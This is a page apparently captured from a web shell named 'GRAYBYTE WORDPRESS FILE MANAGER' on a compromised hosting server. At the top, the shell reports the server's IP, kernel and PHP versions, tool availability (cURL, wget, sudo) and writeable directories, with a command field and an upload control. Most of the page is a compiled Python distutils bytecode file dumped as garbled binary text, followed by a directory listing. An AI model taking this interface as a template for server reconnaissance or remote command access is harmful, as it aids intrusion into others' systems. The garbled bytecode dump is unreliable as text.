GRAYBYTE WORDPRESS FILE MANAGER2848

Server IP : 162.254.39.133 / Your IP : 216.73.216.176
System : Linux premium287.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
PHP Version : 8.1.33
Disable Function : mail
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/lib64/python2.7/distutils/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /lib64/python2.7/distutils//dir_util.pyo
�
{fc@s�dZdZddlZddlZddlmZmZddlmZia	dddd	�Z
dddd
�Zddddddd�Zd�Z
ddd
�Zd�ZdS(sWdistutils.dir_util

Utility functions for manipulating directories and directory trees.s$Id$i����N(tDistutilsFileErrortDistutilsInternalError(tlogi�iicCs�t|t�s"td|f�ntjj|�}g}tjj|�sX|dkr\|Stjtjj	|��r{|Stjj
|�\}}|g}xK|r�|r�tjj|�r�tjj
|�\}}|jd|�q�Wx�|D]�}tjj||�}tjj	|�}	tj|	�r3q�n|dkrRt
jd|�n|s�ytj||�WnWtk
r�}
|
jtjko�tjj|�s�td||
jdf��q�nX|j|�ndt|	<q�W|S(s�Create a directory and any missing ancestor directories.

    If the directory already exists (or if 'name' is the empty string, which
    means the current directory, which of course exists), then do nothing.
    Raise DistutilsFileError if unable to create some directory along the way
    (eg. some sub-path exists, but is a file rather than a directory).
    If 'verbose' is true, print a one-line summary of each mkdir to stdout.
    Return the list of directories actually created.
    s(mkpath: 'name' must be a string (got %r)tiiscreating %sscould not create '%s': %si����(t
isinstancet
basestringRtostpathtnormpathtisdirt
_path_createdtgettabspathtsplittinserttjoinRtinfotmkdirtOSErrorterrnotEEXISTRtargstappend(tnametmodetverbosetdry_runtcreated_dirstheadttailttailstdtabs_headtexc((s*/usr/lib64/python2.7/distutils/dir_util.pytmkpaths>	"
$!c	Cs�i}x3|D]+}d|tjj|tjj|��<q
W|j�}|j�x'|D]}t||d|d|�qYWdS(s�Create all the empty directories under 'base_dir' needed to put 'files'
    there.

    'base_dir' is just the name of a directory which doesn't necessarily
    exist yet; 'files' is a list of filenames to be interpreted relative to
    'base_dir'.  'base_dir' + the directory portion of every file in 'files'
    will be created if it doesn't already exist.  'mode', 'verbose' and
    'dry_run' flags are as for 'mkpath()'.
    iRRN(RRRtdirnametkeystsortR"(	tbase_dirtfilesRRRtneed_dirtfilet	need_dirstdir((s*/usr/lib64/python2.7/distutils/dir_util.pytcreate_treeRs
)

c
Cs�ddlm}|r:tjj|�r:td|�nytj|�}	Wn>tjk
r�\}
}|rwg}	q�td||f�nX|s�t|d|�ng}x1|	D])}
tjj	||
�}tjj	||
�}|
j
d�r�q�n|rktjj|�rktj|�}|dkrBt
jd||�n|s[tj||�n|j|�q�tjj|�r�|jt||||||d|d	|��q�||||||d|d	|�|j|�q�W|S(
sCopy an entire directory tree 'src' to a new location 'dst'.

    Both 'src' and 'dst' must be directory names.  If 'src' is not a
    directory, raise DistutilsFileError.  If 'dst' does not exist, it is
    created with 'mkpath()'.  The end result of the copy is that every
    file in 'src' is copied to 'dst', and directories under 'src' are
    recursively copied to 'dst'.  Return the list of files that were
    copied or might have been copied, using their output name.  The
    return value is unaffected by 'update' or 'dry_run': it is simply
    the list of all files under 'src', with the names changed to be
    under 'dst'.

    'preserve_mode' and 'preserve_times' are the same as for
    'copy_file'; note that they only apply to regular files, not to
    directories.  If 'preserve_symlinks' is true, symlinks will be
    copied as symlinks (on platforms that support them!); otherwise
    (the default), the destination of the symlink will be copied.
    'update' and 'verbose' are the same as for 'copy_file'.
    i����(t	copy_files&cannot copy tree '%s': not a directoryserror listing files in '%s': %sRs.nfsislinking %s -> %sR(tdistutils.file_utilR-RRR	RtlistdirterrorR"Rt
startswithtislinktreadlinkRRtsymlinkRtextendt	copy_tree(tsrctdstt
preserve_modetpreserve_timestpreserve_symlinkstupdateRRR-tnamesRterrstrtoutputstntsrc_nametdst_namet	link_dest((s*/usr/lib64/python2.7/distutils/dir_util.pyR6gsH
	
cCs�xwtj|�D]f}tjj||�}tjj|�r`tjj|�r`t||�q|jtj|f�qW|jtj	|f�dS(sHelper for remove_tree().N(
RR/RRR	R2t_build_cmdtupleRtremovetrmdir(Rt	cmdtuplestftreal_f((s*/usr/lib64/python2.7/distutils/dir_util.pyRD�s%cCs�|dkrtjd|�n|r)dSg}t||�x|D]w}yB|d|d�tjj|d�}|tkr�t|=nWqCttfk
r�}tj	d||�qCXqCWdS(s�Recursively remove an entire directory tree.

    Any errors are ignored (apart from being reported to stdout if 'verbose'
    is true).
    is'removing '%s' (and everything under it)Niserror removing %s: %s(
RRRDRRRR
tIOErrorRtwarn(t	directoryRRRGtcmdRR!((s*/usr/lib64/python2.7/distutils/dir_util.pytremove_tree�s

cCsCtjj|�\}}|dd!tjkr?||d}n|S(s�Take the full path 'path', and make it a relative path.

    This is useful to make 'path' the second argument to os.path.join().
    ii(RRt
splitdrivetsep(Rtdrive((s*/usr/lib64/python2.7/distutils/dir_util.pytensure_relative�s(t__doc__t__revision__RRtdistutils.errorsRRt	distutilsRR
R"R,R6RDRNRR(((s*/usr/lib64/python2.7/distutils/dir_util.pyt<module>s?D	


[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 15 2024 10:33:27
root / root
0755
command
--
June 15 2024 10:33:27
root / root
0755
README
0.288 KB
April 10 2024 04:58:35
root / root
0644
__init__.py
0.23 KB
April 10 2024 04:58:35
root / root
0644
__init__.pyc
0.405 KB
April 10 2024 04:58:46
root / root
0644
__init__.pyo
0.405 KB
April 10 2024 04:58:46
root / root
0644
archive_util.py
8.026 KB
April 10 2024 04:58:35
root / root
0644
archive_util.pyc
7.423 KB
April 10 2024 04:58:46
root / root
0644
archive_util.pyo
7.423 KB
April 10 2024 04:58:46
root / root
0644
bcppcompiler.py
14.591 KB
April 10 2024 04:58:35
root / root
0644
bcppcompiler.pyc
7.697 KB
April 10 2024 04:58:46
root / root
0644
bcppcompiler.pyo
7.697 KB
April 10 2024 04:58:46
root / root
0644
ccompiler.py
45.631 KB
April 10 2024 04:58:35
root / root
0644
ccompiler.pyc
36.018 KB
April 10 2024 04:58:46
root / root
0644
ccompiler.pyo
35.88 KB
April 10 2024 04:58:44
root / root
0644
cmd.py
18.818 KB
April 10 2024 04:58:35
root / root
0644
cmd.pyc
16.41 KB
April 10 2024 04:58:46
root / root
0644
cmd.pyo
16.41 KB
April 10 2024 04:58:46
root / root
0644
config.py
4.037 KB
April 10 2024 04:58:35
root / root
0644
config.pyc
3.481 KB
April 10 2024 04:58:46
root / root
0644
config.pyo
3.481 KB
April 10 2024 04:58:46
root / root
0644
core.py
8.808 KB
April 10 2024 04:58:35
root / root
0644
core.pyc
7.359 KB
April 10 2024 04:58:46
root / root
0644
core.pyo
7.359 KB
April 10 2024 04:58:46
root / root
0644
cygwinccompiler.py
17.319 KB
April 10 2024 04:58:35
root / root
0644
cygwinccompiler.pyc
9.595 KB
April 10 2024 04:58:46
root / root
0644
cygwinccompiler.pyo
9.595 KB
April 10 2024 04:58:46
root / root
0644
debug.py
0.158 KB
April 10 2024 04:58:35
root / root
0644
debug.pyc
0.248 KB
April 10 2024 04:58:46
root / root
0644
debug.pyo
0.248 KB
April 10 2024 04:58:46
root / root
0644
dep_util.py
3.427 KB
April 10 2024 04:58:35
root / root
0644
dep_util.pyc
3.105 KB
April 10 2024 04:58:46
root / root
0644
dep_util.pyo
3.105 KB
April 10 2024 04:58:46
root / root
0644
dir_util.py
7.684 KB
April 10 2024 04:58:35
root / root
0644
dir_util.pyc
6.627 KB
April 10 2024 04:58:46
root / root
0644
dir_util.pyo
6.627 KB
April 10 2024 04:58:46
root / root
0644
dist.py
48.876 KB
April 10 2024 04:58:35
root / root
0644
dist.pyc
38.258 KB
April 10 2024 04:58:46
root / root
0644
dist.pyo
38.258 KB
April 10 2024 04:58:46
root / root
0644
emxccompiler.py
11.651 KB
April 10 2024 04:58:35
root / root
0644
emxccompiler.pyc
7.292 KB
April 10 2024 04:58:46
root / root
0644
emxccompiler.pyo
7.292 KB
April 10 2024 04:58:46
root / root
0644
errors.py
3.412 KB
April 10 2024 04:58:35
root / root
0644
errors.pyc
6.138 KB
April 10 2024 04:58:46
root / root
0644
errors.pyo
6.138 KB
April 10 2024 04:58:46
root / root
0644
extension.py
10.648 KB
April 10 2024 04:58:35
root / root
0644
extension.pyc
7.238 KB
April 10 2024 04:58:46
root / root
0644
extension.pyo
7.018 KB
April 10 2024 04:58:44
root / root
0644
fancy_getopt.py
17.527 KB
April 10 2024 04:58:35
root / root
0644
fancy_getopt.pyc
11.678 KB
April 10 2024 04:58:46
root / root
0644
fancy_getopt.pyo
11.505 KB
April 10 2024 04:58:44
root / root
0644
file_util.py
7.94 KB
April 10 2024 04:58:35
root / root
0644
file_util.pyc
6.592 KB
April 10 2024 04:58:46
root / root
0644
file_util.pyo
6.592 KB
April 10 2024 04:58:46
root / root
0644
filelist.py
12.392 KB
April 10 2024 04:58:35
root / root
0644
filelist.pyc
10.504 KB
April 10 2024 04:58:46
root / root
0644
filelist.pyo
10.504 KB
April 10 2024 04:58:46
root / root
0644
log.py
1.646 KB
April 10 2024 04:58:35
root / root
0644
log.pyc
2.721 KB
April 10 2024 04:58:46
root / root
0644
log.pyo
2.721 KB
April 10 2024 04:58:46
root / root
0644
msvc9compiler.py
30.277 KB
April 10 2024 04:58:35
root / root
0644
msvc9compiler.pyc
20.993 KB
April 10 2024 04:58:46
root / root
0644
msvc9compiler.pyo
20.922 KB
April 10 2024 04:58:44
root / root
0644
msvccompiler.py
23.083 KB
April 10 2024 04:58:35
root / root
0644
msvccompiler.pyc
17.114 KB
April 10 2024 04:58:46
root / root
0644
msvccompiler.pyo
17.114 KB
April 10 2024 04:58:46
root / root
0644
spawn.py
8.445 KB
April 10 2024 04:58:35
root / root
0644
spawn.pyc
6.276 KB
April 10 2024 04:58:46
root / root
0644
spawn.pyo
6.276 KB
April 10 2024 04:58:46
root / root
0644
sysconfig.py
17.292 KB
April 10 2024 04:58:41
root / root
0644
sysconfig.py.debug-build
17.209 KB
April 10 2024 04:58:35
root / root
0644
sysconfig.pyc
13.09 KB
April 10 2024 04:58:46
root / root
0644
sysconfig.pyo
13.09 KB
April 10 2024 04:58:46
root / root
0644
text_file.py
12.137 KB
April 10 2024 04:58:35
root / root
0644
text_file.pyc
9.042 KB
April 10 2024 04:58:46
root / root
0644
text_file.pyo
9.042 KB
April 10 2024 04:58:46
root / root
0644
unixccompiler.py
13.889 KB
April 10 2024 04:58:35
root / root
0644
unixccompiler.py.distutils-rpath
13.356 KB
April 10 2024 04:58:35
root / root
0644
unixccompiler.pyc
8.036 KB
April 10 2024 04:58:46
root / root
0644
unixccompiler.pyo
8.036 KB
April 10 2024 04:58:46
root / root
0644
util.py
17.809 KB
April 10 2024 04:58:35
root / root
0644
util.pyc
14.049 KB
April 10 2024 04:58:46
root / root
0644
util.pyo
14.049 KB
April 10 2024 04:58:46
root / root
0644
version.py
11.165 KB
April 10 2024 04:58:35
root / root
0644
version.pyc
7.039 KB
April 10 2024 04:58:46
root / root
0644
version.pyo
7.039 KB
April 10 2024 04:58:46
root / root
0644
versionpredicate.py
4.976 KB
April 10 2024 04:58:35
root / root
0644
versionpredicate.pyc
5.412 KB
April 10 2024 04:58:46
root / root
0644
versionpredicate.pyo
5.412 KB
April 10 2024 04:58:46
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF